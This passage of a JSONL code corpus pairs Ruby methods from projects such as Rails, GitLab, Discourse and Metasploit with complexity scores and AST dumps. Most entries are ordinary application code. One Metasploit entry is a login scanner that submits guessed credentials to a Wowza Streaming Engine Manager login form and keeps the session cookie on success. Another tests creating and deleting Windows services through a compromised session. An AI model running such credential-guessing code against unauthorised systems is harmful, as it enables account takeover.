end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creates_test_and_development_databases_when_env_was_not_specified\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_stubbed_configurations_establish_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_for_configs\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_for\",{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_for\",{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"str\",\"children\":[\"secondary\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_for\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_for\",{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"secondary\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create_current\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"StringInquirer\"]},\"new\",{\"type\":\"str\",\"children\":[\"development\"]}]}]}]}]}]}","id":"dcef5e1c-1989-495e-962c-7de2b1727934"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/cloud_volume.rb","start_line":150,"raw_source":"def safe_delete_volume_queue(userid)\n    task_opts = {\n      :action => \"Safe deleting Cloud Volume for user #{userid}\",\n      :userid => userid\n    }\n\n    queue_opts = {\n      :class_name  => self.class.name,\n      :method_name => 'safe_delete_volume',\n      :instance_id => id,\n      :role        => 'ems_operations',\n      :queue_name  => ext_management_system.queue_name_for_ems_operations,\n      :zone        => ext_management_system.my_zone,\n      :args        => []\n    }\n\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_delete_volume_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Safe deleting Cloud Volume for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"safe_delete_volume\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"08703ff0-6a81-4c62-9f54-7d59021158cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/settings/form_decorator.rb","start_line":55,"raw_source":"def respond_to_missing?(method, include_private = false)\n      form.respond_to?(method, include_private)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"include_private\"]}]}]}","id":"da503bb3-d685-4ae9-b877-768e1bd7bb9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/supply_chain/slsa/provenance_statement.rb","start_line":29,"raw_source":"def self.from_build(build)\n        archives = build.job_artifacts.filter { |artifact| artifact.file_type == \"archive\" }\n        raise ArgumentError, 'artifacts associated with build do not contain a single archive' if archives.length != 1\n\n        archive = archives[0]\n        archive_resource = ResourceDescriptor.new(name: archive.file.filename, digest: { sha256: archive.file_sha256 })\n\n        provenance_statement = ProvenanceStatement.new\n        provenance_statement.subject = [archive_resource]\n        provenance_statement.predicate = Predicate.from_build(build)\n\n        provenance_statement\n      end","complexity_score":24.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"from_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"archives\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"job_artifacts\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"artifact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"artifact\"]},\"file_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"archive\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archives\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"artifacts associated with build do not contain a single archive\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"archive\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archives\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"archive_resource\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceDescriptor\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archive\"]},\"file\"]},\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sha256\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archive\"]},\"file_sha256\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"provenance_statement\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProvenanceStatement\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provenance_statement\"]},\"subject=\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"archive_resource\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provenance_statement\"]},\"predicate=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Predicate\"]},\"from_build\",{\"type\":\"lvar\",\"children\":[\"build\"]}]}]},{\"type\":\"lvar\",\"children\":[\"provenance_statement\"]}]}]}","id":"da3febfd-9e2d-4f90-a0d5-08a75fc067f8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/post/test/services.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Test Post::Windows::Services',\n        'Description' => %q{ This module will test windows services methods within a shell},\n        'License' => MSF_LICENSE,\n        'Author' => [ 'kernelsmith', 'egypt' ],\n        'Platform' => [ 'windows' ],\n        'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ]\n      )\n    )\n    register_options(\n      [\n        OptString.new(\"QSERVICE\", [true, \"Service (keyname) to query\", \"winmgmt\"]),\n        OptString.new(\"NSERVICE\", [true, \"New Service (keyname) to create/del\", \"testes\"]),\n        OptString.new(\"SSERVICE\", [true, \"Service (keyname) to start/stop\", \"W32Time\"]),\n        OptString.new(\"DNAME\", [true, \"Display name used for create test\", \"Cool display name\"]),\n        OptString.new(\"BINPATH\", [true, \"Binary path for create test\", \"C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k netsvcs\"]),\n        OptEnum.new(\"MODE\", [\n          true, \"Mode to use for startup/create tests\", \"auto\",\n          [\"auto\", \"manual\", \"disable\"]\n        ]),\n      ], self.class\n    )\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Test Post::Windows::Services\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\" This module will test windows services methods within a shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"kernelsmith\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]},{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"powershell\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"QSERVICE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Service (keyname) to query\"]},{\"type\":\"str\",\"children\":[\"winmgmt\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NSERVICE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"New Service (keyname) to create/del\"]},{\"type\":\"str\",\"children\":[\"testes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Service (keyname) to start/stop\"]},{\"type\":\"str\",\"children\":[\"W32Time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Display name used for create test\"]},{\"type\":\"str\",\"children\":[\"Cool display name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BINPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Binary path for create test\"]},{\"type\":\"str\",\"children\":[\"C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k netsvcs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"MODE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Mode to use for startup/create tests\"]},{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"str\",\"children\":[\"manual\"]},{\"type\":\"str\",\"children\":[\"disable\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"de91acdf-ddf5-4f61-b0d8-d8cd85560945"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/wowza_streaming_engine_manager.rb","start_line":30,"raw_source":"def attempt_login(credential)\n          result_opts = {\n            credential: credential,\n            status: Metasploit::Model::Login::Status::INCORRECT,\n            proof: nil,\n            host: host,\n            port: port,\n            protocol: 'tcp'\n          }\n\n          res = send_request({\n            'method' => 'POST',\n            'uri' => normalize_uri('/enginemanager/j_spring_security_check'),\n            'vars_post' => {\n              'wowza-page-redirect' => '',\n              'j_username' => credential.public.to_s,\n              'j_password' => credential.private.to_s,\n              'host' => 'http://localhost:8087'\n            }\n          })\n\n          unless res\n            result_opts.merge!({ status: LOGIN_STATUS::UNABLE_TO_CONNECT })\n          end\n\n          if res && res.code == 302 && res['location'].to_s.include?('Home.htm')\n            cookie = res.get_cookies\n            result_opts.merge!({ status: LOGIN_STATUS::SUCCESSFUL, proof: cookie.to_s }) unless cookie.blank?\n          end\n\n          Result.new(result_opts)\n        end","complexity_score":32.35,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential\"]},{\"type\":\"lvar\",\"children\":[\"credential\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/enginemanager/j_spring_security_check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wowza-page-redirect\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"public\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"host\"]},{\"type\":\"str\",\"children\":[\"http://localhost:8087\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGIN_STATUS\"]},\"UNABLE_TO_CONNECT\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"location\"]}]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Home.htm\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"blank?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_opts\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LOGIN_STATUS\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie\"]},\"to_s\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Result\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"result_opts\"]}]}]}]}","id":"55713cdc-3053-474e-a8d5-d7b016625255"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/test_helper.rb","start_line":672,"raw_source":"def using_test_adapter?\n        queue_adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"using_test_adapter?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"queue_adapter\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveJob\"]},\"QueueAdapters\"]},\"TestAdapter\"]}]}]}","id":"4b4812af-9ae1-4080-a2cf-4606f908e1b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250627004858_change_work_item_custom_status_name_limit.rb","start_line":9,"raw_source":"def up\n    remove_text_limit :work_item_custom_statuses, :name, constraint_name: CONSTRAINT_NAME\n    add_text_limit :work_item_custom_statuses, :name, 32, constraint_name: CONSTRAINT_NAME\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_text_limit\",{\"type\":\"sym\",\"children\":[\"work_item_custom_statuses\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_text_limit\",{\"type\":\"sym\",\"children\":[\"work_item_custom_statuses\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"int\",\"children\":[32]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"constraint_name\"]},{\"type\":\"const\",\"children\":[null,\"CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"34d95c68-2688-41b9-b789-18fd2618be4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/finder_methods.rb","start_line":5,"raw_source":"def find_by!(...)\n    raise_not_found_unless_authorized execute.reorder(nil).find_by!(...)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by!\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise_not_found_unless_authorized\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_by!\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"5a3d9740-8a24-41f9-b4ef-33a4da4727b8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/ip_address.rb","start_line":2,"raw_source":"def ipv46_validator(addr)\n    ipv4_validator(addr) or ipv6_validator(addr)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ipv46_validator\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addr\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ipv4_validator\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]},{\"type\":\"send\",\"children\":[null,\"ipv6_validator\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]}]}","id":"6d9a3865-96c7-41f4-84cd-713a582762d5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/admin/incoming_webhooks_controller.rb","start_line":52,"raw_source":"def update\n        params.require(%i[incoming_chat_webhook_id name chat_channel_id])\n\n        webhook = Chat::IncomingWebhook.find_by(id: params[:incoming_chat_webhook_id])\n        raise Discourse::NotFound unless webhook\n\n        chat_channel = Chat::Channel.find_by(id: params[:chat_channel_id])\n        raise Discourse::NotFound if chat_channel.nil? || chat_channel.direct_message_channel?\n\n        if webhook.update(\n             name: params[:name],\n             description: params[:description],\n             emoji: params[:emoji],\n             username: params[:username],\n             chat_channel: chat_channel,\n           )\n          render json: success_json\n        else\n          render_json_error(webhook)\n        end\n      end","complexity_score":34.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"incoming_chat_webhook_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"chat_channel_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"webhook\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"IncomingWebhook\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"incoming_chat_webhook_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webhook\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chat_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Channel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chat_channel_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chat_channel\"]},\"direct_message_channel?\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"webhook\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emoji\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"emoji\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"chat_channel\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"webhook\"]}]}]}]}]}","id":"1264b3c8-7d95-4d32-8126-bc9f2b9d0e31"}
